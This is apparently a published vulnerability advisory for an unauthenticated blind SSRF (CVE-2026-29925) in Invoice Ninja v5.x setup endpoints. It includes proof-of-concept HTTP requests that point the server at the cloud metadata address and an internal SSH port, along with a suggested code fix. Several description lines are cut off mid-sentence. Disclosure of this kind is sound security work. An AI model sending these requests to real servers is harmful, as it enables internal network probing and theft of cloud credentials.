TrekLaps / **invoice-ninja-ssrf-cve-2026-29925.md**

Created 4 days ago

Code Revisions 1

CVE-2026-29925 - Invoice Ninja Unauthenticated SSRF

invoice-ninja-ssrf-cve-2026-29925.md

```
# CVE-2026-29925: Invoice Ninja Unauthenticated Blind Server-Side Request For

## CVE ID
CVE-2026-29925

## Description
Invoice Ninja v5.x contains an unauthenticated blind Server-Side Request Forg

The `authorize()` method in `CheckDatabaseRequest.php` unconditionally return

## Affected Versions
- v5.12.46
- v5.12.48
- Likely all v5.x versions

## Affected Component
- File: `app/Http/Requests/Setup/CheckDatabaseRequest.php`
- Endpoints: `POST /setup/check_db`, `POST /setup/check_mail`

## Vulnerability Type
Unauthenticated Blind Server-Side Request Forgery (SSRF)

## Impact
An attacker can supply arbitrary `db_host` and `db_port` parameters, causing

- Internal network scanning and enumeration
- Access to cloud metadata endpoints (AWS/GCP/Azure credential theft)
- Port scanning of internal hosts
- Bypassing network segmentation
- Attacking internal services (databases, caches, etc.)
```

```
## Attack Vector
An unauthenticated attacker sends crafted POST requests to `/setup/check_db`

## Proof of Concept

**Request:**
```http
POST /setup/check_db HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

db_host=169.254.169.254&db_port=80&db_name=test&db_user=test&db_password=test
```

Alternative request to check internal services:

```
POST /setup/check_mail HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

mail_host=192.168.1.1&mail_port=22&mail_user=test&mail_password=test
```

Suggested Fix

Update the authorize() method in app/Http/Requests/Setup/CheckDatabaseRequest.php:

```
public function authorize()
{
    return !Ninja::hasCompletedSetup();
}
```

References

· https://invoiceninja.com/ · https://github.com/invoiceninja/invoiceninja · https://github.com/invoiceninja/invoiceninja/blob/v5-stable/app/Http/Requests/Setup/CheckDatabaseRequest.php

Vendor Confirmation

The vendor has confirmed and acknowledged this vulnerability.

Discoverer

Turki Almatrafi

Disclosure Date
```

March 27, 2026